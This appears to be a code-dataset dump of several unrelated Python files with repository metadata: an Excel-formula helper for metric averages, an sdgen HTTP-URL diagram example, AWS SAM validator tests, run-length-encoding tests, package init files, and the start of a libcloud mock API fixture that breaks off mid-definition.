__author__ = 'khomitsevich' import metricks.excel_char_index_generator as excel_char_index_generator RESULT_PARAM_COLUMN_LEADING_IND = 3 RESULT_PARAM_TITLES = ["DICE", "SPEC", "SENS", "ACCUR", "Time (w init)"] class ResultWorkSheetDataProcessor: def __init__(self, result_worksheet, cell_title_prefix, metrics_dict_keys_full_sorted_list): self.result_worksheet = result_worksheet self.cell_title_prefix = cell_title_prefix self.metrics_dict_keys_full_sorted_list = metrics_dict_keys_full_sorted_list ### For each folder def calculate_average_and_std_of_dice(self, dice_indexes_dict, param_row_index: int = 2): self.__calculate_average_and_std_of_param(dice_indexes_dict, param_row_index) def calculate_average_and_std_of_spec(self, spec_indexes_dict, param_row_index: int = 3): self.__calculate_average_and_std_of_param(spec_indexes_dict, param_row_index) def calculate_average_and_std_of_sens(self, sens_indexes_dict, param_row_index: int = 4): self.__calculate_average_and_std_of_param(sens_indexes_dict, param_row_index) def calculate_average_and_std_of_accur(self, accur_indexes_dict, param_row_index: int = 5): self.__calculate_average_and_std_of_param(accur_indexes_dict, param_row_index) def calculate_average_and_std_of_time(self, time_indexes_dict, param_row_index: int = 6): self.__calculate_average_and_std_of_param(time_indexes_dict, param_row_index) ### Overall def calculate_average_and_std_of_dice_overall(self, dice_indexes_dict, param_row_index: int = 2): self.__calculate_average_and_std_of_param_overall(dice_indexes_dict, param_row_index) def calculate_average_and_std_of_spec_overall(self, spec_indexes_dict, param_row_index: int = 3): self.__calculate_average_and_std_of_param_overall(spec_indexes_dict, param_row_index) def calculate_average_and_std_of_sens_overall(self, sens_indexes_dict, param_row_index: int = 4): self.__calculate_average_and_std_of_param_overall(sens_indexes_dict, param_row_index) def calculate_average_and_std_of_accur_overall(self, accur_indexes_dict, param_row_index: int = 5): self.__calculate_average_and_std_of_param_overall(accur_indexes_dict, param_row_index) def calculate_average_and_std_of_time_overall(self, time_indexes_dict, param_row_index: int = 6): self.__calculate_average_and_std_of_param_overall(time_indexes_dict, param_row_index) ### Private methods def __calculate_average_and_std_of_param(self, param_indexes_dict, param_row_index:int): for dir_path in self.metrics_dict_keys_full_sorted_list: average_excel_formulae = "=AVERAGE(" std_excel_formulae = "=STDEV(" for sens_ind_tuple in param_indexes_dict[dir_path]: """ Calculate average and standard deviation formulaes for a specific parameter. """ result_index = excel_char_index_generator.get_excel_char_index_by_numeric(sens_ind_tuple[1]) + str(sens_ind_tuple[0]) average_excel_formulae += f"{self.cell_title_prefix}{result_index}," std_excel_formulae += f"{self.cell_title_prefix}{result_index}," average_excel_formulae = average_excel_formulae[:len(average_excel_formulae) - 1] + ")" std_excel_formulae = std_excel_formulae[:len(std_excel_formulae) - 1] + ")" workseet_first_time_std_row_index = param_row_index + len(RESULT_PARAM_TITLES) + 1 worksheet_first_time_col_index = RESULT_PARAM_COLUMN_LEADING_IND + self.metrics_dict_keys_full_sorted_list.index(dir_path) + 1 self.result_worksheet.cell(param_row_index, worksheet_first_time_col_index, average_excel_formulae) self.result_worksheet.cell(workseet_first_time_std_row_index, worksheet_first_time_col_index, std_excel_formulae) # __calculate_average_and_std_of_param def __calculate_average_and_std_of_param_overall(self, param_indexes_dict, param_row_index:int): average_excel_formulae = "=AVERAGE(" std_excel_formulae = "=STDEV(" for dir_path in self.metrics_dict_keys_full_sorted_list: for sens_ind_tuple in param_indexes_dict[dir_path]: """ Calculate average and standard deviation formulaes for a specific parameter. """ result_index = excel_char_index_generator.get_excel_char_index_by_numeric(sens_ind_tuple[1]) + str(sens_ind_tuple[0]) average_excel_formulae += f"{self.cell_title_prefix}{result_index}," std_excel_formulae += f"{self.cell_title_prefix}{result_index}," average_excel_formulae = average_excel_formulae[:len(average_excel_formulae) - 1] + ")" std_excel_formulae = std_excel_formulae[:len(std_excel_formulae) - 1] + ")" std_row_final_index = param_row_index + len(RESULT_PARAM_TITLES) + 1 col_final_index = RESULT_PARAM_COLUMN_LEADING_IND - 1 self.result_worksheet.cell(param_row_index, col_final_index, average_excel_formulae) self.result_worksheet.cell(std_row_final_index, col_final_index, std_excel_formulae) # __calculate_average_and_std_of_param_overall

60.114943

138

0.767495

740

5,230

4.797297

0.106757

0.063099

0.139155

0.148732

0.888732

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0.821127

0.74

0.661972

0.612958

0

0.005255

0.163098

5,230

87

139

60.114943

0.805803

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false

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0.263158

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null

0

1

0

1

0

null

0

1

0

6

97d6583915892f072e9d9995aa695f72e80018c0

3,790

py

Python

examples/http.py

doriath/sdgen

8e602797a1d552c00e54c1371fe1f437b6d20841

[ "MIT" ]

1

2021-06-22T00:47:34.000Z

examples/http.py

doriath/sdgen

8e602797a1d552c00e54c1371fe1f437b6d20841

[ "MIT" ]

null

examples/http.py

doriath/sdgen

8e602797a1d552c00e54c1371fe1f437b6d20841

[ "MIT" ]

null

# -*- coding: utf-8 -*- import sys sys.path.append('.') from sdgen.svg import * data = { "view": "Group", "name": "Identyfikator HTTP", "children": [ {"view": "Terminal", "value": "http"}, { "view": "Detour", "children": [ {"view": "Terminal", "value": "s"} ] }, {"view": "Terminal", "value": "://"}, { "view": "Detour", "children": [ { "view": "Group", "name": u"Wyraz z małpą", "children": [ { "view": "QuantityAbove", "value": "1..", "children": [ { "view": "InvTerminal", "children": [ {"view": "Terminal", "value": "a..z"} ] } ] }, {"view": "Terminal", "value": ":"}, { "view": "QuantityAbove", "value": "1..", "children": [ { "view": "InvTerminal", "children": [ {"view": "Terminal", "value": "a..z"} ] } ] }, {"view": "Terminal", "value": "@"} ] } ] }, { "view": "QuantityAbove", "value": "1..", "children": [ { "view": "Group", "name": u"Wyraz z kropką", "children": [ { "view": "QuantityAbove", "value": "1..", "children": [ { "view": "InvTerminal", "children": [ {"view": "Terminal", "value": "a..z"} ] } ] }, {"view": "Terminal", "value": "."} ] } ] }, { "view": "QuantityAbove", "value": "2..", "children": [ { "view": "InvTerminal", "children": [ {"view": "Terminal", "value": "a..z"} ] } ] }, { "view": "Detour", "children": [ { "view": "Group", "name": u"Końcówka", "children": [ {"view": "Terminal", "value": ":"}, { "view": "InvTerminal", "children": [ {"view": "Terminal", "value": "0..65535"} ] } ] } ] }, { "view": "Detour", "children": [ {"view": "Terminal", "value": "/"} ] } ] } result = as_svg(data) print result[0][1].encode('utf-8')

31.065574

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155

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5.219355

0.245161

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0.273177

0.278121

0.728059

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0.490729

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0.011202

0.646702

3,790

121

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null

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0

1

0

1

0

null

0

1

0

6

3f6f19a9a981463fef816d3565405197549948ed

6,273

py

Python

tests/functional/commands/validate/lib/test_sam_template_validator.py

TinLe/aws-sam-cli

6e3740ad6511d2a31f9f977cf918cd08688076f7

[ "Apache-2.0" ]

3

2018-10-26T23:41:19.000Z

2018-11-04T04:13:27.000Z

tests/functional/commands/validate/lib/test_sam_template_validator.py

TinLe/aws-sam-cli

6e3740ad6511d2a31f9f977cf918cd08688076f7

[ "Apache-2.0" ]

null

tests/functional/commands/validate/lib/test_sam_template_validator.py

TinLe/aws-sam-cli

6e3740ad6511d2a31f9f977cf918cd08688076f7

[ "Apache-2.0" ]

null

from unittest import TestCase from mock import Mock from samcli.commands.validate.lib.sam_template_validator import SamTemplateValidator from samcli.commands.validate.lib.exceptions import InvalidSamDocumentException class TestValidate(TestCase): def test_valid_template(self): template = { "AWSTemplateFormatVersion": "2010-09-09", "Transform": "AWS::Serverless-2016-10-31", "Resources": { "ServerlessFunction": { "Type": "AWS::Serverless::Function", "Properties": { "Handler": "index.handler", "CodeUri": "s3://fake-bucket/lambda-code.zip", "Runtime": "nodejs6.10", "Timeout": 60 } } } } managed_policy_mock = Mock() managed_policy_mock.load.return_value = {"PolicyName": "FakePolicy"} validator = SamTemplateValidator(template, managed_policy_mock) # Should not throw an exception validator.is_valid() def test_invalid_template(self): template = { "AWSTemplateFormatVersion": "2010-09-09", "Transform": "AWS::Serverless-2016-10-31", "Resources": { "ServerlessFunction": { "Type": "AWS::Serverless::Function", "Properties": { "Handler": "index.handler", "CodeUri": "s3://lambda-code.zip", "Timeout": 60 } } } } managed_policy_mock = Mock() managed_policy_mock.load.return_value = {"PolicyName": "FakePolicy"} validator = SamTemplateValidator(template, managed_policy_mock) with self.assertRaises(InvalidSamDocumentException): validator.is_valid() def test_valid_template_with_local_code_for_function(self): template = { "AWSTemplateFormatVersion": "2010-09-09", "Transform": "AWS::Serverless-2016-10-31", "Resources": { "ServerlessFunction": { "Type": "AWS::Serverless::Function", "Properties": { "Handler": "index.handler", "CodeUri": "./", "Runtime": "nodejs6.10", "Timeout": 60 } } } } managed_policy_mock = Mock() managed_policy_mock.load.return_value = {"PolicyName": "FakePolicy"} validator = SamTemplateValidator(template, managed_policy_mock) # Should not throw an exception validator.is_valid() def test_valid_template_with_local_code_for_api(self): template = { "AWSTemplateFormatVersion": "2010-09-09", "Transform": "AWS::Serverless-2016-10-31", "Resources": { "ServerlessApi": { "Type": "AWS::Serverless::Api", "Properties": { "StageName": "Prod", "DefinitionUri": "./" } } } } managed_policy_mock = Mock() managed_policy_mock.load.return_value = {"PolicyName": "FakePolicy"} validator = SamTemplateValidator(template, managed_policy_mock) # Should not throw an exception validator.is_valid() def test_valid_template_with_DefinitionBody_for_api(self): template = { "AWSTemplateFormatVersion": "2010-09-09", "Transform": "AWS::Serverless-2016-10-31", "Resources": { "ServerlessApi": { "Type": "AWS::Serverless::Api", "Properties": { "StageName": "Prod", "DefinitionBody": {"swagger": "2.0"} } } } } managed_policy_mock = Mock() managed_policy_mock.load.return_value = {"PolicyName": "FakePolicy"} validator = SamTemplateValidator(template, managed_policy_mock) # Should not throw an exception validator.is_valid() def test_valid_template_with_s3_object_passed(self): template = { "AWSTemplateFormatVersion": "2010-09-09", "Transform": "AWS::Serverless-2016-10-31", "Resources": { "ServerlessApi": { "Type": "AWS::Serverless::Api", "Properties": { "StageName": "Prod", "DefinitionUri": { "Bucket": "mybucket-name", "Key": "swagger", "Version": 121212 } } }, "ServerlessFunction": { "Type": "AWS::Serverless::Function", "Properties": { "Handler": "index.handler", "CodeUri": { "Bucket": "mybucket-name", "Key": "code.zip", "Version": 121212 }, "Runtime": "nodejs6.10", "Timeout": 60 } } } } managed_policy_mock = Mock() managed_policy_mock.load.return_value = {"PolicyName": "FakePolicy"} validator = SamTemplateValidator(template, managed_policy_mock) # Should not throw an exception validator.is_valid() # validate the CodeUri was not changed self.assertEquals(validator.sam_template.get("Resources").get("ServerlessApi").get("Properties").get("DefinitionUri"), {"Bucket": "mybucket-name", "Key": "swagger", "Version": 121212}) self.assertEquals(validator.sam_template.get("Resources").get("ServerlessFunction").get("Properties").get("CodeUri"), {"Bucket": "mybucket-name", "Key": "code.zip", "Version": 121212})

36.47093

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6,273

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0.746653

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0.395505

6,273

172

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36.47093

0.750527

0.029651

0

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0.007246

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0

0.07971

0

null

0

1

0

null

0

6

58c447c6863176bdfc4f22ecc9c5cd9c0487c991

36

py

Python

ml/perks/netconfig/__init__.py

TiFu/runepicker-helper

dcbd7bcce06a80ed5c800b3aaca26d53e4cace8f

[ "MIT" ]

null

ml/perks/netconfig/__init__.py

TiFu/runepicker-helper

dcbd7bcce06a80ed5c800b3aaca26d53e4cace8f

[ "MIT" ]

1

2018-01-01T03:56:01.000Z

ml/perks/netconfig/__init__.py

TiFu/runepicker-helper

dcbd7bcce06a80ed5c800b3aaca26d53e4cace8f

[ "MIT" ]

null

from .netconfig import loadNetConfig

36

0.888889

4

36

8

1

0

0.083333

36

1

36

0.969697

0

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0

true

0

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0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

58eee6b3a208a242d94d7193d75d818bfddb047a

28

py

Python

gpsinflux/__init__.py

iotfablab/gpsinflux

438830f11ee0c02cb9a071ef8db7e559ea537e9a

[ "MIT" ]

null

gpsinflux/__init__.py

iotfablab/gpsinflux

438830f11ee0c02cb9a071ef8db7e559ea537e9a

[ "MIT" ]

3

2019-06-28T09:26:32.000Z

2020-02-27T12:25:16.000Z

gpsinflux/__init__.py

iotfablab/gpsinflux

438830f11ee0c02cb9a071ef8db7e559ea537e9a

[ "MIT" ]

null

from .gpsinflux import main

14

27

0.821429

4

28

5.75

1

0

0.142857

28

1

28

0.958333

0

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0

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1

0

1

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null

0

1

0

null

0

1

0

1

0

1

0

6

1895850492935b61e3f65367f5c956a4abe33635

108

py

Python

src/handlers/special/__init__.py

PDevgut/My37

cdd5d8a8a9d0f16ac071704f6ada9c294fbe452e

[ "MIT" ]

null

src/handlers/special/__init__.py

PDevgut/My37

cdd5d8a8a9d0f16ac071704f6ada9c294fbe452e

[ "MIT" ]

null

src/handlers/special/__init__.py

PDevgut/My37

cdd5d8a8a9d0f16ac071704f6ada9c294fbe452e

[ "MIT" ]

null

from .handlers_4xx import handle_404 from .handlers_5xx import handle_500 from .static import handle_static

27

36

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108

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null

1

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0

null

0

1

0

1

0

1

0

6

18c04eca161f97b0a5cd1dc3ce5644a02fe70018

73

py

Python

logging/modulesb/moduleb.py

bclipp/python_ideas

c6058d49603f663ac57c55261777ace55fd2788a

[ "Apache-2.0" ]

null

logging/modulesb/moduleb.py

bclipp/python_ideas

c6058d49603f663ac57c55261777ace55fd2788a

[ "Apache-2.0" ]

null

logging/modulesb/moduleb.py

bclipp/python_ideas

c6058d49603f663ac57c55261777ace55fd2788a

[ "Apache-2.0" ]

null

import logging def do_something(): logging.info('Doing something')

12.166667

35

0.726027

9

73

5.777778

0.777778

0

0.164384

73

5

36

14.6

0.852459

0

0.205479

0

1

0.333333

true

0

0.333333

0

0.666667

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

18c17b3469a44864759c62fc78e36760e41b764a

68

py

Python

venv/lib/python2.7/site-packages/netlib/__init__.py

sravani-m/Web-Application-Security-Framework

d9f71538f5cba6fe1d8eabcb26c557565472f6a6

[ "MIT" ]

3

2019-04-09T22:59:33.000Z

2019-06-14T09:23:24.000Z

venv/lib/python2.7/site-packages/netlib/__init__.py

sravani-m/Web-Application-Security-Framework

d9f71538f5cba6fe1d8eabcb26c557565472f6a6

[ "MIT" ]

null

venv/lib/python2.7/site-packages/netlib/__init__.py

sravani-m/Web-Application-Security-Framework

d9f71538f5cba6fe1d8eabcb26c557565472f6a6

[ "MIT" ]

null

from __future__ import (absolute_import, print_function, division)

34

67

0.838235

8

68

6.375

0.875

0

0.102941

68

1

68

0.836066

0

1

0

true

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

18c9adf593798eb40a0304a93125647c4261f6a0

49

py

Python

modules/__init__.py

trusted-ws/alarm-thread

22e517720c3dfc1f1e305b375af51feea47ac800

[ "MIT" ]

null

modules/__init__.py

trusted-ws/alarm-thread

22e517720c3dfc1f1e305b375af51feea47ac800

[ "MIT" ]

null

modules/__init__.py

trusted-ws/alarm-thread

22e517720c3dfc1f1e305b375af51feea47ac800

[ "MIT" ]

null

from .alarm import Alarm from .auxiliary import *

24.5

24

0.795918

7

49

5.571429

0.571429

0

0.142857

49

2

25

24.5

0.928571

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

18cf4c2854535b880b405fae653641ef01178cf7

48

py

Python

QCPU_Setup/DWave-library/dist-packages/dwave_networkx2/generators/__init__.py

cogrpar/qcpuWARE

9b8233e830f8cfacbef787781b2279e42f26fec5

[ "Apache-2.0" ]

1

2022-02-01T14:40:05.000Z

QCPU_Setup/DWave-library/dist-packages/dwave_networkx2/generators/__init__.py

cogrpar/qcpuWARE

9b8233e830f8cfacbef787781b2279e42f26fec5

[ "Apache-2.0" ]

null

QCPU_Setup/DWave-library/dist-packages/dwave_networkx2/generators/__init__.py

cogrpar/qcpuWARE

9b8233e830f8cfacbef787781b2279e42f26fec5

[ "Apache-2.0" ]

1

2022-02-01T14:40:31.000Z

from dwave_networkx.generators.chimera import *

24

47

0.854167

6

48

6.666667

1

0

0.083333

48

1

48

0.909091

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

18ef388cccf31b9eee8c768de2ede5d859b7ee91

89

py

Python

pkg/handlers/hello.py

GKAurora/Aurora2.0-WebAPI

d91a028115c449e77f07681f39cfd4dd25870137

[ "MIT" ]

null

pkg/handlers/hello.py

GKAurora/Aurora2.0-WebAPI

d91a028115c449e77f07681f39cfd4dd25870137

[ "MIT" ]

null

pkg/handlers/hello.py

GKAurora/Aurora2.0-WebAPI

d91a028115c449e77f07681f39cfd4dd25870137

[ "MIT" ]

null

class Hello(object): @staticmethod def hello_w() -> str: return f"hello"

17.8

25

0.595506

11

89

4.727273

0.818182

0

0.280899

89

4

26

22.25

0.8125

0

0.05618

0

1

0.25

true

0

0.25

0.75

0

1

0

null

0

1

0

null

0

1

0

1

0

6

e17bc280fa48d9fa14d8d88718da02b94c0f466f

203

py

Python

tccli/services/cvm/__init__.py

hapsyou/tencentcloud-cli-intl-en

fa8ba71164484f9a2be4b983080a1de08606c0b0

[ "Apache-2.0" ]

null

tccli/services/cvm/__init__.py

hapsyou/tencentcloud-cli-intl-en

fa8ba71164484f9a2be4b983080a1de08606c0b0

[ "Apache-2.0" ]

null

tccli/services/cvm/__init__.py

hapsyou/tencentcloud-cli-intl-en

fa8ba71164484f9a2be4b983080a1de08606c0b0

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- from tccli.services.cvm.cvm_client import register_arg from tccli.services.cvm.cvm_client import get_actions_info from tccli.services.cvm.cvm_client import AVAILABLE_VERSION_LIST

40.6

64

0.827586

32

203

5

0.53125

0.16875

0.31875

0.375

0.65625

0

0.005376

0.083744

203

4

65

50.75

0.854839

0.103448

0

1

0

true

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

6

e1a369120872d1335aee637deae14eb6f2bf4cd7

25

py

Python

wikiclean/__init__.py

daemon/pywikiclean

b680833ff0692a73cd0906cd4d3b052e5c0d8aa1

[ "MIT" ]

null

wikiclean/__init__.py

daemon/pywikiclean

b680833ff0692a73cd0906cd4d3b052e5c0d8aa1

[ "MIT" ]

null

wikiclean/__init__.py

daemon/pywikiclean

b680833ff0692a73cd0906cd4d3b052e5c0d8aa1

[ "MIT" ]

null

from .wikiclean import *

12.5

24

0.76

3

25

6.333333

1

0

0.16

25

1

25

0.904762

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

e1ac187e7c05609969d964b58cef8a99f64fcdc6

4,475

py

Python

tests/test.py

darshanbaral/pyrle

0278cbe5676a9fe424274a455e28ceaeb98e0724

[ "MIT" ]

null

tests/test.py

darshanbaral/pyrle

0278cbe5676a9fe424274a455e28ceaeb98e0724

[ "MIT" ]

null

tests/test.py

darshanbaral/pyrle

0278cbe5676a9fe424274a455e28ceaeb98e0724

[ "MIT" ]

null

import unittest from parameterized import parameterized import pandas import numpy import pdrle class TestPdrle(unittest.TestCase): # test encode @parameterized.expand([ [pandas.Series(["a", "a", "b", "b", "b", "a", "a", "c"]), pandas.DataFrame({"vals": ["a", "b", "a", "c"], "runs": [2, 3, 2, 1]})], [pandas.Series(["home", "home", "home", "home"]), pandas.DataFrame({"vals": ["home"], "runs": [4]})], [pandas.Series(["home", "home", numpy.nan, numpy.nan, numpy.nan, "home", "home"]), pandas.DataFrame({"vals": ["home", numpy.nan, "home"], "runs": [2, 3, 2]})], [pandas.Series([1, 1, 1, 1, 1, 1, 1]), pandas.DataFrame({"vals": [1], "runs": [7]})], [pandas.Series([2]), pandas.DataFrame({"vals": [2], "runs": [1]})], [pandas.Series({"a": 1, "b": 1, "c": numpy.nan, "d": numpy.nan, "e": numpy.nan, "f": 2}), pandas.DataFrame({"vals": [1, numpy.nan, 2], "runs": [2, 3, 1]})] ]) def test_encode(self, input_data, expected_output): actual_output = pdrle.encode(input_data) pandas.testing.assert_frame_equal(actual_output, expected_output) # test decode @parameterized.expand([ [pandas.Series(["a", "a", "b", "b", "b", "a", "a", "c"]), pandas.DataFrame({"vals": ["a", "b", "a", "c"], "runs": [2, 3, 2, 1]})], [pandas.Series([1, 1, 1, 1, 1, 1, 1]), pandas.DataFrame({"vals": [1], "runs": [7]})], [pandas.Series([2]), pandas.DataFrame({"vals": [2], "runs": [1]})] ]) def test_decode(self, expected_output, input_data): actual_output = pdrle.decode(input_data.vals, input_data.runs) pandas.testing.assert_series_equal(actual_output, expected_output) # test get_id @parameterized.expand([ [pandas.Series(["a", "a", "b", "b", "b", "a", "a", "c"]), pandas.Series([0, 0, 1, 1, 1, 2, 2, 3])], [pandas.Series([(1, 2), (1, 2), (1, 3), (4, 5)]), pandas.Series([0, 0, 1, 2])], [pandas.Series([(1, 2), (1, 2), (numpy.nan, numpy.nan), (numpy.nan, numpy.nan)]), pandas.Series([0, 0, 1, 1])], [pandas.Series([1, 1, 1, 1, 1, 1, 1]), pandas.Series([0, 0, 0, 0, 0, 0, 0])], [pandas.Series(["home", "home", numpy.nan, numpy.nan, numpy.nan, "home", "home"]), pandas.Series([0, 0, 1, 1, 1, 2, 2])], [pandas.Series([2]), pandas.Series([0])], [pandas.Series({"a": 1, "b": 2, "c": 3, "d": 3, "e": 3, "f": 1}), pandas.Series({"a": 0, "b": 1, "c": 2, "d": 2, "e": 2, "f": 3})], [pandas.Series({"a": 1, "b": 1, "c": numpy.nan, "d": 1, "e": 2, "f": 2}), pandas.Series({"a": 0, "b": 0, "c": 1, "d": 2, "e": 3, "f": 3})], [pandas.Series({"a": 1, "b": 1, "c": numpy.nan, "d": numpy.nan, "e": numpy.nan, "f": 2}), pandas.Series({"a": 0, "b": 0, "c": 1, "d": 1, "e": 1, "f": 2})] ]) def test_get_id(self, input_data, expected_output): actual_output = pdrle.get_id(input_data) pandas.testing.assert_series_equal(actual_output, expected_output) # test get_sn @parameterized.expand([ [pandas.Series(["a", "a", "b", "b", "b", "a", "a", "c"]), pandas.Series([0, 1, 0, 1, 2, 0, 1, 0])], [pandas.Series([1, 1, 1, 1, 1, 1, 1]), pandas.Series([0, 1, 2, 3, 4, 5, 6])], [pandas.Series(["home", "home", numpy.nan, numpy.nan, numpy.nan, "home", "home"]), pandas.Series([0, 1, 0, 1, 2, 0, 1])], [pandas.Series([2]), pandas.Series([0])], [pandas.Series({"a": 1, "b": 2, "c": 3, "d": 3, "e": 3, "f": 1}), pandas.Series({"a": 0, "b": 0, "c": 0, "d": 1, "e": 2, "f": 0})], [pandas.Series({"a": 1, "b": 1, "c": numpy.nan, "d": 1, "e": 2, "f": 2}), pandas.Series({"a": 0, "b": 1, "c": 0, "d": 0, "e": 0, "f": 1})], [pandas.Series({"a": 1, "b": 1, "c": numpy.nan, "d": numpy.nan, "e": numpy.nan, "f": 2}), pandas.Series({"a": 0, "b": 1, "c": 0, "d": 1, "e": 2, "f": 0})] ]) def test_get_sn(self, input_data, expected_output): actual_output = pdrle.get_sn(input_data) pandas.testing.assert_series_equal(actual_output, expected_output)

47.105263

97

0.466145

631

4,475

3.237718

0.07607

0.240822

0.032305

0.031326

0.820852

0.799315

0.717083

0.715614

0.687714

0.629956

0

0.058787

0.277765

4,475

94

98

47.606383

0.573329

0.010503

0

0.529412

0

0.06014

0

0.047059

1

0.047059

false

0

0.058824

0

0.117647

0

null

1

0

1

0

1

0

null

0

6

e1c77e8738fd4837363dd6a976184a81167426e4

211

py

Python

resilient-circuits/tests/__init__.py

COLDTURNIP/resilient-python-api

14423f1dec32af67f7203c8d4d36d0a9e2651802

[ "MIT" ]

28

2017-12-22T00:26:59.000Z

2022-01-22T14:51:33.000Z

resilient-circuits/tests/__init__.py

COLDTURNIP/resilient-python-api

14423f1dec32af67f7203c8d4d36d0a9e2651802

[ "MIT" ]

18

2018-03-06T19:04:20.000Z

2022-03-21T15:06:30.000Z

resilient-circuits/tests/__init__.py

COLDTURNIP/resilient-python-api

14423f1dec32af67f7203c8d4d36d0a9e2651802

[ "MIT" ]

28

2018-05-01T17:53:22.000Z

2022-03-28T09:56:59.000Z

# from .shared_mock_data import mock_constants, mock_paths from .shared_mock_data.mock_component import MockInboundAppComponent from .shared_mock_data.mock_app_function_component import AppFunctionMockComponent

42.2

82

0.900474

27

211

6.592593

0.444444

0.168539

0.235955

0.303371

0.247191

0

0.066351

211

4

83

52.75

0.903553

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

6

e1c9666917317d59e74a6903c155e861491aff67

70,724

py

Python

tests/mock_api.py

bernard357/plumbery

4e7a69040f75ad21d35e3119dd9783e665fee122

[ "Apache-2.0" ]

2

2016-01-14T15:06:32.000Z

2016-01-29T09:41:07.000Z

tests/mock_api.py

bernard357/plumbery

4e7a69040f75ad21d35e3119dd9783e665fee122

[ "Apache-2.0" ]

7

2015-11-26T22:28:45.000Z

2016-02-10T22:35:56.000Z

tests/mock_api.py

bernard357/plumbery

4e7a69040f75ad21d35e3119dd9783e665fee122

[ "Apache-2.0" ]

8

2015-11-25T09:56:07.000Z

2018-07-03T12:34:27.000Z

import os from libcloud.utils.py3 import PY3 from libcloud.utils.py3 import u from libcloud.utils.py3 import httplib from libcloud.test import MockHttp try: from lxml import etree as ET except ImportError: from xml.etree import ElementTree as ET class FileFixtures(object): def __init__(self): script_dir = os.path.abspath(os.path.split(__file__)[0]) self.root = os.path.join(script_dir, 'fixtures') def load(self, file): path = os.path.join(self.root, file) if os.path.exists(path): if PY3: kwargs = {'encoding': 'utf-8'} else: kwargs = {} with open(path, 'r', **kwargs) as fh: content = fh.read() return u(content) else: raise IOError(path) class ComputeFileFixtures(FileFixtures): def __init__(self): super(ComputeFileFixtures, self).__init__() class InvalidRequestError(Exception): def __init__(self, tag): super(InvalidRequestError, self).__init__("Invalid Request - %s" % tag) class DimensionDataMockHttp(MockHttp): fixtures = ComputeFileFixtures() def _oec_0_9_myaccount_UNAUTHORIZED(self, method, url, body, headers): return (httplib.UNAUTHORIZED, "", {}, httplib.responses[httplib.UNAUTHORIZED]) def _oec_0_9_myaccount(self, method, url, body, headers): body = self.fixtures.load('oec_0_9_myaccount.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_myaccount_INPROGRESS(self, method, url, body, headers): body = self.fixtures.load('oec_0_9_myaccount.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_myaccount_PAGINATED(self, method, url, body, headers): body = self.fixtures.load('oec_0_9_myaccount.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_myaccount_ALLFILTERS(self, method, url, body, headers): body = self.fixtures.load('oec_0_9_myaccount.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_base_image(self, method, url, body, headers): body = self.fixtures.load('oec_0_9_base_image.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_base_imageWithDiskSpeed(self, method, url, body, headers): body = self.fixtures.load('oec_0_9_base_imageWithDiskSpeed.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_deployed(self, method, url, body, headers): body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_deployed.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_pendingDeploy(self, method, url, body, headers): body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_pendingDeploy.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_datacenter(self, method, url, body, headers): body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_datacenter.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_11(self, method, url, body, headers): body = None action = url.split('?')[-1] if action == 'restart': body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_11_restart.xml') elif action == 'shutdown': body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_11_shutdown.xml') elif action == 'delete': body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_11_delete.xml') elif action == 'start': body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_11_start.xml') elif action == 'poweroff': body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_11_poweroff.xml') return (httplib.OK, body, {}, httplib.responses[httplib.OK]) def _oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_11_INPROGRESS(self, method, url, body, headers): body = None action = url.split('?')[-1] if action == 'restart': body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_11_restart_INPROGRESS.xml') elif action == 'shutdown': body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_11_shutdown_INPROGRESS.xml') elif action == 'delete': body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_11_delete_INPROGRESS.xml') elif action == 'start': body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_11_start_INPROGRESS.xml') elif action == 'poweroff': body = self.fixtures.load( 'oec_0_9_8a8f6abc_2745_4d8a_9cbc_8dabe5a7d0e4_server_11_poweroff_INPROGRESS.xml') return (httplib.BAD_REQUEST, body, {}, httplib.responses[httplib.OK]) def 